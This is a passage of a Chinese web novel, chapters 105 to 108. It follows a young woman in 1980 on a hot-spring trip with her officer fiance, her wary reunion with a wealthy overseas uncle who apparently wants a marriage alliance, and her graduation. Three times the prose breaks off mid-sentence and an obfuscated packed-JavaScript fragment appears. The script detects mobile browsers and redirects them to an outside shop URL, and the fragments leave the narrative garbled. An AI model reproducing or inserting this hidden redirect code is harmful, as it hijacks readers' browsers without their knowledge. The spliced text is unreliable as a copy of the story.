以上这些,来自祝镕的搭档、任职过团政委的班级支部书记周书记的讲解。 “据说,老蒋当时是穿着睡袍跑的,”一位姓黄的中校调侃,“12月的晚上呀,估计冻够呛。” 大家听了不禁笑起来,都心领神会。 另一个戴眼镜的同学摇头,“我看过关于这段的记载,光头见枪声后从后窗仓皇出走,翻墙结果掉进深沟,‘碰伤脊背,由侍卫搀扶上山’,我更倾向于是被人背着走的。” “嗐,总归是一党总统,要留些脸面。”另外一个女同学十分善解人意,“就算真的背着跑也没事,我们又不是洋人,他不算太丢脸。” 女同学话音刚落,除了几个懵懂、不知这段历史的孩子,在场众人哄堂大笑。 符伊年一边笑一边摇头,这些人嘴够损的,这不是变着法儿地骂光头是“慈禧第二”嘛——当初八国联军进京城的时候,慈禧就是被太监背着逃跑的。 而最巧合的就是,1900年八国联军进攻京城,慈禧太后西逃曾驻跸于此。 先有周幽王烽火戏诸侯,中间有盛唐遭安置之乱后转衰,再有清末太后西逃于此,啧,这地方,有点玄学在身上啊。 105. 温泉2 第一零五章 参观完几个遗址,一行人重新回到他们包下的温泉。 众所周知,华国人民一直很有智慧、有才华、有才能,说“给个支点就能撬动地球”有点夸张,但是当初刘备能用一个县的人才打下天下,就说明从来不是没有千里马,只是没用好罢了。 从79年初,改革开放的春风吹遍神州大地,各处的民众都积极起来,个体经济也好,民营经济也好,可以说如春笋般冒了出来。 这间温泉酒店就是如此。 说是温泉酒店,其实并没有酒店的标准,更像民宿。山脚下一座大院子,前院正房和东西厢房共十二间房间,后院挖了汤池,从山上引了温泉水下来。温泉汤池共八个,分男汤女汤和家庭汤。 房间也是一样,一家子的住家庭房,没有带家属的则分男女,两人一间,如此才能住得下。 祝镕和符伊年虽然是一对,但是没有领证就不能光明正大的住一起。所以依然是分开的,祝镕和周支书同住,符伊年和一个叫蓝齐的女军官同住。 蓝齐早就听说过班长祝镕有个未婚妻,是个大学生,每逢假期就来探亲,还在校园外租房子,因此对她十分好奇。 “符小姐好。”蓝齐想了想,用现在比较流行的方式和符伊年打招呼,“我叫蓝齐。” 符伊年也同她打招呼,“蓝军官你好,”然后摆手让她不用那么客气,“叫我名字就好。‘符小姐’太见外了。” 蓝齐是个爽快人,当下换了称呼,“其实要是按部队的习惯,我应该喊你嫂子,班长的职级比我高呢。” 符伊年笑着摆手,“不用不用,咱们各论各的。” 蓝齐看符伊年从行李袋里拿了自己的床单枕套铺在床上,笑了一下,也把自己的拿了出来铺上,“我们早就知道你,其实大家都对你很好奇,都想看看到底是什么样的人能把祝班长迷得每周都要外出。” 符伊年哈哈笑了两声,在她面前转了个身,“怎么样?发现我没有三头六臂和尾巴,失望吗?” 蓝齐之间偷偷观察过符伊年,发现除了漂亮点,好像并没有什么特别之处。来的路上几乎一直在打盹,参观景点和遗址的时候也不怎么开口。另外几个军官和家属都猜测,她其实只是长得漂亮脑内空空,是个草包美人。 符伊年脑内是不是空的蓝齐还不知道,但是她本人性格真的很不错,和气、幽默、常常在笑,并不是那种客气的虚伪的笑,而是真的发自内心的笑。 “没有失望,”蓝齐真诚地说:“你和祝班长真的很相配。” “我也这样认为,”符伊年丝毫不觉得自己不谦虚,“我们俩眼光都很好是不是?” 蓝齐点头,“我其实更好奇,你不是大学生吗,怎么有时间一待就这么久?” 符伊年觉得自己明白她话里的意思,其实对方是想问为什么她待这么久、租房子的花费是怎么来的吧。当然是卖方子的钱啊。符伊年想了想,决定坦诚相告,不过没什么不能说的,又不是什么见不得人的事。 “我在大三的时候,卖了一张方子,赚了点钱。”符伊年倒也没具体说赚了多少,毕竟十五万,太多了,很多人不敢想的。 蓝齐却是误会了,她一下子瞪大了眼睛,然后露出恍然大悟的表情,“所以你才能买下四合院是不是?” 符伊年干脆将错就错地点头,还要谦虚几句,“也是走运,幸好那时候改革开放已经提出来了,不至于犯错误。”说着同对方眨了眨眼,懂得都懂。 蓝齐是个懂的,也眨了眨眼,表示自己明白。 两人正聊着,一直敞开的门被敲响。两人回头看去,门口站着站着两个人,正是住在隔壁的祝镕和周支书。 祝镕:“去泡温泉吗?” “你们先去吧,我们收拾一下再去。”符伊年心说:我又不能和你一起泡,有什么好问的。 祝镕点头,表示知道了,“不要泡太久,十五分钟到二十分钟就行了。” “啰嗦。”符伊年走到门口推了一把祝镕,让他快走,没看到另外两个人都在笑话他吗?推完一把把门关上了。 门里门外看了全程的蓝齐&周支书:我们什么都没看见,当我们不在! 祝镕他们走了之后,符伊年和蓝齐也带好东西出门了。说起来,符伊年和蓝齐算是一见如故,两人脾气挺合的,而且发现两人的喜好都差不多,都喜欢冷色系,也都喜欢美食,对新鲜事物勇于尝试并接受良好。 甚至连泳衣的款式都是相似的——不是那种像潜水员一样黑色连体的,而是当前比较流行的上身吊带下身平角裤那种,只不过符伊年那套是青绿色,蓝齐那套是天蓝色。 两人到了汤池各自换了泳衣出来,看到对方的款式和颜色都是一愣,接着笑了起来。 蓝齐:“没想到咱们还挺有默契。” 符伊年则上下打量着蓝齐的身材,一脸艳羡,“你应该穿比基尼啊。”这腰细腿长的,绝对惊艳。 蓝齐被她调侃的有些脸红,但依然大大方方的接受了她的赞美,“还是保守一点好。” 符伊年点点头,表示:我懂。 等到进了汤池,三个女汤里都已经有人了,符伊年和蓝齐看了看,挑了一个相对人少的汤池坐了进去。这池温泉里只有一个女军官和一位军嫂,加上他们俩也才四个人。 这四个人分别坐在了温泉池子的四个方位,彼此距离不远不近,是一个非常安全的社交距离,既不会侵犯对方隐私,也不会显得十分生疏,甚至还挺方便大家寒暄的。 符伊年将一块干毛巾叠成四方块盖在自己头顶,坐在池子里的石台上,背靠着池壁,准备闭目养神。 她这一番动作还挺引人瞩目的,那位军嫂看了,忍不住提问,“妹子,你拿块毛巾盖头顶干啥?家里出事儿了?” 符伊年:……哦,对哦,这块毛巾是白色的,大嫂怕是误会了。 “没有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478315|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有,”符伊年解释,“我小时老家的长辈告诉我,人的头顶有个穴位叫‘百会穴’,泡温泉的时候盖上,以防跑了阳气。” 符伊年说得不全是真的,“小时候老家的长辈”并不是指五叔爷爷等人,毕竟安县连温泉都没有,更别提泡温泉的习俗。其实是符伊年上一世的老家的长辈的说法,不过她以前并不当真,因为上一世她并没有泡过温泉。 “还有这样的说法啊。”蓝齐和另外一位女军官也是头一次听说,都觉得挺好玩的,干脆也拿了一块毛巾叠成四方块盖在了头顶,过了一会儿两人觉得还是挺有道理的,“头皮暖多了,身上也比刚才更热更暖。” 符伊年心说:当然有道理了,头顶戴帽子也会觉得暖和的啊,更何况毛巾那么厚。 泡温泉不宜太久,符伊年二十分钟后就出来了。这家民宿的设施还挺齐全的,汤池旁边就有淋浴,符伊年进去冲了一下,换了衣服出来,大家都已经陆续离开了。 好吧,军人速度就是快。符伊年心中感慨。走出汤池院子,一眼就看到了站在门外的祝镕,他正背靠一棵大树抱臂闭目养神。 听到祝镕动静连眼都没睁,直接问:“饿不饿?” 符伊年脚步顿了一下,先是无语,祝镕真的是每时每刻都在担心她饿到或者吃不饱,接着又好奇,“你能听出来是我?” 祝镕无语了两秒,“其他人都走光了,就剩你一个了。还真以为我能通过脚步辨人啊?武侠小说看多了吧?”他知道符伊年最近搞了一套港城武侠小说,看得如痴如醉。 符伊年笑嘻嘻,走过去接过祝镕递来的水壶,喝了一大口,“我对你比较有信心嘛!” “失望了吧。”祝镕捏捏她的后颈,“感觉怎么样?有没有解乏?” 符伊年摇摇头便是没有感觉,“才一次能有什么变化。”然后想起他刚刚的第一个问题,“还不饿呢,这就吃饭了吗?” “那就先逛逛,吃饭还要等等,要是饿了我们先吃点零食。”祝镕牵起她的手,领着人往绕过温泉池的院子,带着她往外走去,“因为附近有温泉,所以山上比山下温暖,风景也不错,还有不少花开着,去看看?” 符伊年想着反正也没事,回去要么就是坐等着吃饭,要么就是回房间躺着,干脆转转也行,那四个字怎么说来着:来都来了。 祝镕说的这座山,和华清宫所在的骊山其实是同一条山脉,它们是相连的,景色其实也是类似,都一样的山林茂密、花树丛生、岩石奇异。 两人也没走远,在半山腰转了转,符伊年采了一大把的花草,两人又牵着手从山上下来,走到山脚下的时候,正好遇上一个年纪较大的军官和夫人携手从另外一侧走过来。 双发一照面,都很意外,一个意外于尚未成婚竟然如此行事亲密,一个意外于这对夫妻孩子都上小学了感情还如此亲密,真是少见。 不过,大家心照不宣笑一笑,擦肩而过,各自朝各自的方向走了。 106. 表舅 第一零六章 从西安回到京城,就是大学的最后一个学期。这时候已经是一九八零年下半年了,距离毕业还剩半学期,其实这半学期已经没有课了,大部分学生都在专心写论文。符伊年也不例外。 大四一开学,她就选了几个论文议题,和教授商议过后,选定了一个,接着就是开题、初稿。即便时暑假在西安的时候看,符伊年也并不是一直在游玩,她也是干了些“正经事”的。 开学第三天,符伊年打电话给教授,将自己的初稿给他看了,得了教授一个“浅显”的评价。 “你的理论是没有问题的,专业知识框架很完整,现在的问题是内容过于宽泛浅显,假、大、空,”教授点拨她,“我记得你有过经商的经验,这也算是实践,可以将那段实践的数据和材料填充进来,如此就会有深度多了。” 不得不说,经过点拨后,符伊年不说茅塞顿开,也是豁然开朗。于是在初稿的基础上,符伊年补充了不少事实数据和材料。 第二稿很顺利通过了教授的认可,让她回去修改一下用词和格式,基本就可以定稿了。 符伊年大喜过望。 “符伊年,谢师姐找你去办公室。”常开心抱着一沓册子从外面进来,应该是毕业生要登记的表格。 符伊年论文定稿了,正打算大睡一觉当作给自己的奖励,已经换了睡衣上床,正要躺下,就听到进来的班长如此通知她。 符伊年拉被子的手停下来,不解,“现在?她不是下班了吗?我在食堂遇见她了呀。” 符伊年她们大三的时候,原来的辅导员范世纲去了别处工作,她们换了一个姓谢的女辅导员,是本校的研二学生,她们平时喊她“谢师姐”的时候多过喊她导员。 常开心摇头,表示自己不是很清楚,“说的是现在,而且,”常开心思索了一下,“院长好像也在。” 符伊年更加迷惑了,看了一圈宿舍内其他人,“我最近干啥好事了吗?” 米仙花被符伊年逗笑了,“你咋不想想是不是干啥坏事了?” 符伊年果断摇头,“咱是守法公民。” 说笑归说笑,符伊年还是掀开被子下床换衣服,临走前还把被子整理好,免得被窝儿跑了热气——天气一天冷过一天,保暖措施要做好,听说南方已经有羽绒服了,得想法买一件。 到了辅导员办公室,符伊年发现里面除了辅导员、院长,还有另外三个人,其中一个符伊年还认识,正是买了她的秘方的那位柳旻柳先生。 柳先生身边坐着一个年纪稍大的先生,两人长相相似,只是这位身材略微发福,脸庞也更圆一些,虽然笑得慈和,但是符伊年知道这只是表面,这位一定是比柳旻地位更高的大佬。 还有一个和柳旻年级差不多的年轻人,站在他们身后,看起来应该是秘书或者助理的角色。 “院长、师姐,”符伊年站在办公桌和沙发三步远的地方停下,“您们找我?” 院长抬头看向符伊年。这个学生他早就知道,听几位教授夸赞过,也知道她有一个军人未婚夫,不过没想到竟然还有海外关系。 仔细打量一番,和柳老先生和柳先生确实有一点相像。 院长点点头,示意她坐,沉吟了片刻,先提了个问题,“我看你的档案上,父母都牺牲了?家里还有其他长辈吗?” 符伊年不知道院长问这个的目的,她摇头,“院长有什么事直接同我讲就行了,我自己能做主的。” 院长似乎拿不定主意,频频看向柳旻他们的方向。符伊年便也跟着看过去,目光和柳旻对上的时候,对他微微颔首,算是打招呼。 “我来说吧。”柳旻身边的那位年纪稍大的长者突然开口。 院长稍微有点意外,但很快同意下来,“也好,你们私下谈更好。”这位柳先生提出会给院里捐献一批设备,他十分乐意卖这个人情。 院长和师姐离开,但是门没有关严,留了一道一拳左右的缝隙。符伊年很感动,她知道这是院长和师姐对她的爱护,毕竟屋里只剩她和三个陌生男人。 待人都离开后,长者再次开口,一开口就说了一个爆炸消息,“我叫柳贺燕,是你表舅。” 如果表情能具象,符伊年此时额头上一定挂了不下五百个问号。 符伊年是知道柳贺燕这个人的。当初她要卖秘方给柳旻时,祝军长送来的调查资料上说,他从国内偷渡出国,在洛杉矶创办了“恩慈”集团,是海外华人第一批回国投资的大商人之一。收购秘方的食品公司,就是恩慈集团名下的。 可是,表舅?真的假的?前几次整理符家家当,还有几次搬家,符家上下的所有物品她几乎都查看过,没有发现任何的关于这位表舅的信息。 符伊年也不是没有质疑过,符家的家世尚可以追溯,也还有亲戚可循。可是唐致清的娘家却丝毫没有信息,唐致清见义勇为牺牲,也不见有人来吊唁,周围之人也都避讳如深。 只不过当时符伊年“新来”心虚不敢问,后来事务繁杂众多她又忘记了。直到如今,这位“表舅”找来。 大概是看出了符伊年的疑惑,这位“表舅”给她释疑。表舅说,他是唐致清的表哥,他的父亲和唐致清的母亲是表姐弟。 符伊年依然满脸茫然,“我从来没有听说过。” 柳贺燕微微点头,表示理解,国内前些年形势不太好,有海外关系并不是什么好事。 “你外婆什么时候没的?”柳贺燕不想兜圈子,直接问出自己最想知道的。 符伊年没有立即回答他的问题。 柳贺燕以为她还在震惊中没有回过神来,就笑着安抚她不要慌,慢慢说,甚至还亲切地问她要不要喝水。 坐在柳贺燕身边的柳旻看了眼自己的父亲,心里撇嘴,他还是头一回看到父亲如此平易近人,甚至有些慈祥。可惜,从他和符伊年短暂的相处中她的表现来看,这个姑娘此时绝对不是吃惊,更不是慌张,当然,也绝对不会轻易认下他这个“表舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493379|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。 柳旻突然有点期待接下来的发展,也许,活到二十八岁,终于看到老头子碰壁一回了。 符伊年一直很安静,眼睛低垂着,盯着水泥地面上的一个小坑看,表情像是茫然也似乎在思考。 过了差不多半分钟,符伊年抬起头,表情平静,大眼睛里黑眼珠定定地看向对面,问:“您说您是我家的亲戚,有什么证据吗?人证?物证?或者DNA鉴定?” 总不能你说什么就是什么吧?凡事不都应该讲究个证据吗? 柳贺燕很吃惊,他实在是没有想到,这个姑娘竟然质疑这件事。除了最开始的疑惑贺茫然,她竟然不是惊喜和激动,反而是质疑,这十分出乎他的意料。 不过,仔细一想,这也在情理之中。柳贺燕为符伊年找理由:人总要保持一定的戒心,不好轻信于人。 柳贺燕沉默的时间有点久,加上因为思考导致表情严肃。他毕竟是大集团的总裁,一旦脸上没了笑,不怒自威的气场就流露出来了。 于是,有人会错了意,以为柳贺燕不开心了。 “符小姐,你这是说的什么话!我们柳先生可是跨国公司的总裁,怎么会骗你!你知不知道恩慈集团规模有多大,资产有多少?”言外之意,柳总裁那么有钱,你有什么值得被骗的,骗你有什么好处? 符伊年看向说话的人,是一只站在大小柳先生身后的那位,不知道是哪位的助理或者秘书,一副居高临下、轻视鄙夷的姿态,眼里都是指责的意味,让符伊年只想到一个词:跳梁小丑。 符伊年这个人的性格,有点“人敬我一尺,我敬人一丈”的意味。对方若是好好说话,她自然会心平气和。对方若是阴阳怪气,她自然也要怼回去。 不过,对于这位狐假虎威的局外人,符伊年轻飘飘地看了他一眼,没有理会。她将目光转向柳贺燕,心中“嘁”了一声,什么表舅表叔的,逗谁呢。别以为她没注意到,这位局外人的话可是完完整整说完了的,这位表舅可是连拦都没拦一下。 符伊年定了定神,站起身来,“柳先生,我虽是个孤女,但也是堂堂正正的华国公民。”让一条漂亮国的狗问到头上是怎么算? “凡事都讲证据,总不能说什么就是什么。”上嘴唇一碰下嘴唇,就啥都听你的?哪有那好事。 符伊年微微弯腰,算是行礼,“您随意,我告辞了。” 出了导员办公室,符伊年就对上了院长复杂的目光,她突然意识到,不过是认亲这么点儿事,其实用不到院长出面的,一定是对方给学院许下了什么好处。 符伊年抱歉地看向院长,倒不是后悔,就是万一院长让她赔对方反悔了的投资款,她上哪儿弄钱赔去? 幸好院长虽然惋惜这笔投资恐怕要黄,但也知道不能就这么随便的决定学生的私事,他摆摆手,“算了,你说得也对,总得有证据,先回去吧。” 符伊年得了这句话,当下对院长鞠躬,“院长再见,师姐再见。” 溜了。 107. 事实 第一零七章 从辅导员办公室离开,符伊年直接往宿舍走,进到宿舍楼大厅,径直走向墙上的公用电话。 今年年初,学校给每个宿舍楼安了四个公用电话,可以投币也可以插IC卡,不用再在宿管阿姨那里排队等着打电话接电话了。 IC卡插进去,符伊年摘下话筒,拨号的手却停了下来。她低头思索了片刻,重新挂上话筒、拨出电话卡,转身走出宿舍。 符伊年回到四合院的时候,才下午两点。因为是工作日也是工作时间,祝军长和容院长自然是不在的。 符伊年有些日子没回来了,房间里落了灰。搞了一通卫生,将房子收拾得能住人了,又进了浴室洗了个热水澡。 从热气腾腾的浴室出来,正擦着头发,符伊年听见电话铃响个不停。也许是一种默契,也许是一种预感,符伊年就是知道,电话那头是祝镕。 所以,符伊年接起电话后连问都没问,直接说:“怎么这个时候往家打电话?” 电话那头的人笑了一声,也是直接问:“你怎么这个时间在家?” “唔,有点事回家一趟。”符伊年一边擦头发一边说,“你往宿舍打电话找我了?”不然怎么知道我在家? 祝镕轻笑了一声,从话筒中传出来,进入符伊年的耳道、震动着她的耳膜,“出了什么事,怎么突然回家了?”他记得昨晚通话时还说要在学校写论文的。 符伊年并没有打算瞒着祝镕,且不说二人现在关系亲近,更何况她还得借助他的力量仔细调查一下到底时怎么回事。 符伊年三言两语的,就把今天的事说完了,末了“哼”了一声,“我其实知道这件事大概率是真的,我就是不满,凭什么他说啥是啥,还有个不知所谓的助理,那话里话外的意思就是有这么个‘表舅’,我就应该偷着乐。” 祝镕静静地听着,也觉得对方过于高傲了,既然回来认亲那就应该拿出诚意,起码有个信物吧,“那你打算怎么样?要查一下吗?” “查肯定要查的吧,来龙去脉我自己肯定得掌握一些,”符伊年迟疑了一下,说:“只怕是又要麻烦祝伯伯了。” “有什么麻烦的,”祝镕丝毫不觉得,“你不是都喊过‘爸爸’了嘛。” 符伊年“哎呀”了一声,“都跟你说了那是口误口误,当时被口水呛到舌头不好使。” “是是是,是口误。”祝镕并不在这上头跟她辩驳,顺着她应下来,“那你记得打电话给爸爸,有名有姓的,估计不难查。” 确实不难查。符伊年打电话跟祝军长一说,祝军长除了最开始的诧异外,很痛快的就答应下来了。甚至比第一次查柳旻和恩慈集团的时候还顺利一些,毕竟只是查国内的往事。 事情查得很顺利,毕竟是在国内调查往事,比之前调查洛杉矶恩慈集团容易多了。 结果很明显,柳贺燕的确是符伊年的表舅。 这个关系是这样的:符伊年的外婆叫叶晗芝,柳贺燕的父亲叫柳衡臣,二人的母亲是亲姐妹,柳家是粤海关的官员,叶家是粤省的大商人,有自己的出海船队。两家从上一辈就关系密切,为了延续这种利益、亲戚关系,表姐弟自幼定了娃娃亲。 结果二人长大后两人进了学校接受了新思想,一个喜欢上了投身革命的女同学,一个看上了家中造船厂的设计员。最后的结局是叶晗芝同家庭断绝关系跟随设计员北上,一个被家里看管起来最后妥协与另外一个大商人的女儿联姻。 后来抗日爆发,叶家离开粤省下了南洋,柳家在积极抗日的同时也送了不少晚辈出国,导致后来落了个“投机主义”的名声。而北上的叶晗芝更是没了音信。 直到建国后,叶晗芝在已经上了大学的唐致清的陪同下,回了一趟娘家,这才知道整个叶家都离开了。倒是见到了柳衡臣和也上了大学的柳贺燕,互相留下了联系方式。 一直到六十年代,柳家形势越来越糟糕,柳衡臣病逝,柳贺燕决定出国,但是彼时柳家的家财都用来给柳衡臣治病了,没什么钱,于是柳贺燕决定投奔他表姑也就是叶晗芝。 叶晗芝是否资助了柳贺燕这个调查上没有明说,但是柳贺燕当时并不算偷渡,是叶晗芝给以前的熟人写信,他才能以水手的身份上船去到漂亮国的。 柳贺燕出国第二年,叶晗芝胃癌病逝,当时符伊年三岁。 故事很简单,调查也只是写了两页纸。在第二页的页尾,还留下了几个地址和电话,有叶氏族人曾经所在村子的,也有现今马来亚叶氏族长的联系方式,符伊年瞄了一眼,略过。 祝军长看一眼符伊年的表情,见她还算平静,说了些纸面上没有的事,“去调查的人说,改革开放后,叶氏回乡投资过,但是你外婆母家的那一支,已经没有后人了。” 符伊年点头,“很正常,叶氏族人留存了血脉,比抗日时期整本族谱断掉的人家好多了。”语气淡淡的,带着些嘲讽。 祝军长和容院长对视一眼,这话合情合理,却总觉得哪里不太对。 正说着,电话铃响起来。祝军长离得近,直接接起来,问明对方身份后,将话筒递向符伊年,“柳先生。” 打来电话的,是柳旻,他说他父亲找到了当初叶晗芝给他的信物,可以证明他的确是她的表舅,还说柳老先生想见一见符伊年。 符伊年沉吟片刻,答应下来,约定好在上次的那个包厢见。 挂掉电话,符伊年正对上祝军长和容院长关切的目光。她把对方的请求说了,最后说,她想去见一下。 “其实有没有信物已经不重要了,”符伊年说着自己的理由,“我只是奇怪,外婆去世的事他应该不难调查才是,为什么还是如此执着地想要和我相认。我一个孤女,何必费这么大一番心思。我怕对方是冲着祝伯伯或者容阿姨来的。” 祝军长和容院长听闻这话,欣慰地笑笑,他们还怕符伊年突然有了亲人,被惊喜和激动冲昏了理智,一心只想认亲,想不到别的。 这姑娘几年过去,越发成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503125|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟、周全了。 于是,祝军长又告诉了符伊年另外一个消息:恩慈集团去年决策失误导致集团某个重大项目停摆,如果再不开工,资金链断裂,集团会陷入重大危机,甚至可能会破产。 怎么说都是学经济专业的,符伊年很快就想明白了其中的关节。要解决这件事,方法不多,一般两种方法,一个是自我突破、寻求其他机遇。 食品公司回国投资就是困局下为了找寻出路而另辟的蹊径——部分资产转移回大陆,保存实力以图后续发展,也许过几年又能东山再起了。 还有一个方法,就是向外合作。这种“合作”还有一个更通俗的名称:“联姻”。联姻,最快最有效的脱困之法,既能得到支持从缓解困局,还能将双方利益捆绑,以期长期发展实现长久利益。 当初柳、叶两家联姻不就是如此吗?看起来,柳贺燕老先生的思想依然被束缚在了七八十年前。 想到了这个,符伊年自觉叶明白了柳贺燕认亲的意图。 “柳旻已经结婚了,女方也是联姻的,不可能轻易离婚,孙子才上小学,更是不可能,于是就想到了我?”符伊年最后一句话虽然是问句,但很明显就是肯定语气。 符伊年毫不避讳地翻了个大白眼,“还真是好算计呢。”也不知道叶晗芝知道他的算计后,会不会把棺材板掀开。 “年年打算怎么办?”容院长关切地问。儿子虽然没有明说,但是话里话外都是已经认定了这姑娘,这几年的相处下来,她也是把这孩子当自家人关爱的,“需不需要我陪你去?” 符伊年想了想,点头,“可能要的。他们太强势了,我需要阿姨给我压阵。” 容院长立即笑起来,“好,今天阿姨就去给你压阵,谁都不能欺负我们年年。”说着还抓起符伊年的手拍了拍,安抚着她。 祝军长再一旁看着眼睛转了转,觉得下午应该给祝镕打个电话,让他应该早点把事抓紧办了。 容院长陪符伊年到达约定好的地点的时候,柳贺燕已经在柳旻的陪同下到达了。柳老先生才从国外回来没多久,而且又不是京城人,对约定的地点并不知道具体相关,还是柳旻给他说了之后,他才有所了解。 也就知道了,他这个外甥女看起来是个孤女,也不是完完全全没有靠山的。果不其然,小丫头果然请了她那位未婚夫的家人来给她压阵了。 然而,出乎柳贺燕意料的是,容院长却不是这样介绍自己的。 “我们家老祝,以前是年年大爷爷的部下,和年年的父亲也有过往来。”容院长的笑容客气且疏离,“听年年说您是年年外婆的表侄,咱们这算是符、唐两家相会了。” 你不是说你是表舅吗,我们还是表叔伯呢,有什么好得意的?如今的身家,还不是靠了年年外婆的帮助才有的,如今发达了转头干起了卖外甥女的事,也不问问我们答应不答应。 而符伊年坐在一旁全程不发一言,却在桌子下面偷偷给容院长竖个大拇指,姜还是老得辣啊。 108. 毕业 第一零八章 容院长一来,几句话就表明了自己的身份和态度:她是符伊年父亲的亲友,是符伊年的亲戚,不是以祝镕的家长来见对方的,更不会用祝家的权势来威吓。而柳贺燕无论是以是唐家或叶家的亲戚的身份出席,也算是符伊年的亲戚。 既然都是符伊年的亲戚,那立场和态度就应该是一致的,那就是以符伊年的利益优先。 于是,一场本来可能会针锋相对的会面,在容院长几句话后,就变成了符伊年父母两方的亲戚的会面。 但是,那又怎么样呢?大家都是场面上的人,即便彼此都对自己对对方的目的都心知肚明,对各自的态度也有所了解。 “其实也没什么,我回去想了想,孩子说得也没错,”柳贺燕笑得绅士,“没有证据确实不能证明我就是我。” 柳贺燕说着从一旁拿了一个盒子过来,红色的木盒子,镶嵌着珐琅和宝石,看起来就很古老很贵重。盒子打开,里面一尊鹤鹿同春的玉雕摆件、一枚柳叶形状的坠子。 据柳贺燕介绍,当时叶晗芝资助了他一些金钱,还有这尊玉雕,他到达洛杉矶后为了创业,曾经把这尊玉雕拿出去当掉,后来有了钱又赎回来了。 “这枚坠子,是柳、叶两家的信物,一枚由父亲传给我,另外一枚不知道姑姑是否保留传承下来。”柳贺燕将盒子往前推了推,展示给符伊年和容院长看。 容院长只瞥了一眼就收回目光,继续喝茶。 符伊年看了两眼,第一件鹤鹿同春的玉雕她没有见过,第二件倒是有印象,在唐致清年轻时的照片里,这坠子在她脖子上出现了不止一次。只是后来不知道去了哪里,家中再不曾见过。 符伊年将这话说给柳贺燕听,柳老先生一副惋惜的情状,“大概那些年遗失了吧。当时情形不是特别好。” 符伊年没言语,突然不知道要说什么,也捧着茶杯喝起茶来。 倒是容院长,换上了亲切和气的笑容,“年年也不是故意为难,只是她一个女孩子,行事为人谨慎点总是没错。现在真相大白,一切都明了了。您是表舅是长辈,就不要和小孩子计较了。”说着拍了拍符伊年的背,让她给柳老先生倒茶。 容院长的言外之意很简单,柳贺燕冒然去学校认亲本就唐突,符伊年有迟疑要证据很正当。不过现在事情真相都知道了,符伊年敬茶认错,柳老先生也不要倚老卖老。 符伊年从善如流地站起来,走到柳贺燕对面,看了眼他原本半满的茶杯,端去一旁,重新拿了一只过来,倒入七分满的热茶,端起来递到他面前,“表舅,喝茶。” 这就是有认亲的意思了。 柳贺燕看了一眼容院长,又看了眼面前低眉垂眼的符伊年,笑了笑,“好!好!外甥女的茶,我肯定要喝的。”说完,接了符伊年手里的茶杯喝了。 气氛逐渐缓和、融洽下来,双方后来也算相谈尽欢,安安稳稳地吃完了这顿饭。双方分开的时候,柳贺燕提出不日去安县祭拜符伊年的外婆,问符伊年是否同往。 符伊年想了想,点了头,她也确实也有段时间没有回去了,趁此机会回去扫墓也好。 最后回安县的时间定在了农历新年。那个时候,不仅临近春节,正是扫墓祭拜的时节,而且符伊年论文答辩已经结束,毕业典礼也举行完毕,可以说是真正的毕业了。 还有一个原因,是祝镕也放寒假了,他可以陪同符伊年一起回安县,让她不至于一个人与陌生的柳家父子相处。 符伊年大学四年虽然辞去了班干部和学生会的职务,但是她的成绩一只很好,也有很突出的实践成果,论文也被教授评为了优秀论文。她虽然没有机会在全校师生面前进行毕业演讲,但依然是这一届十二个优秀毕业生之一。 毕业典礼那天是周六,是工作日,符伊年只在和祝镕的日常通话中随口提到一句,也知道他肯定无法赶回来,虽然有遗憾,但是并不难过,也没什么失落的。 所以,当她和室友们穿着学士服从宿舍楼出来,准备去学校礼堂参加典礼,却在楼下看到了身着正装、手捧仙花的祝军长和容院长时,符伊年真的是眼泪一下子夺眶而出。 符伊年觉得好丢人,明明她想控制的,却怎么都控制不住,眼泪它就自有主张地流出来,用后来马跃的话说就是:开闸放水一样。 后来她自己复盘这一刻,也不得不承认,虽然嘴上不说不提,但她内心是一直渴望着父母的关爱的,两辈子都是。 上一世虽然有亲生父母,可是他们只喜欢小两岁的弟弟,和嫁给镇上派出所所长儿子的大姐,只有中间的自己,从来被忽视,甚至在考上大学后也不准她去读还把她关了起来。逃出来后一个人跌跌撞撞的生活。 这一生成为符家的女儿,却开局即失怙失慈。以至于符伊年甚至迷信地认为,大概她的八字不好,或者前几世做了恶,所以才会前生今世都没有父母缘。 祝军长和容院长作为家长出席符伊年的毕业典礼,这让她十分惊喜,更是圆了她的一个心愿。 典礼结束后,马龙拿出相机来,给他们拍照。符伊年站在两位长辈中间,一手拿着毕业证书,一手捧着容院长带来的花束,笑得开怀而心满意足。 后来,祝镕看到这张照片,酸酸地说:“和我在一起的时候都不曾见你笑得这么灿烂。”然后得到符伊年和容院长一人一巴掌拍在了后背。 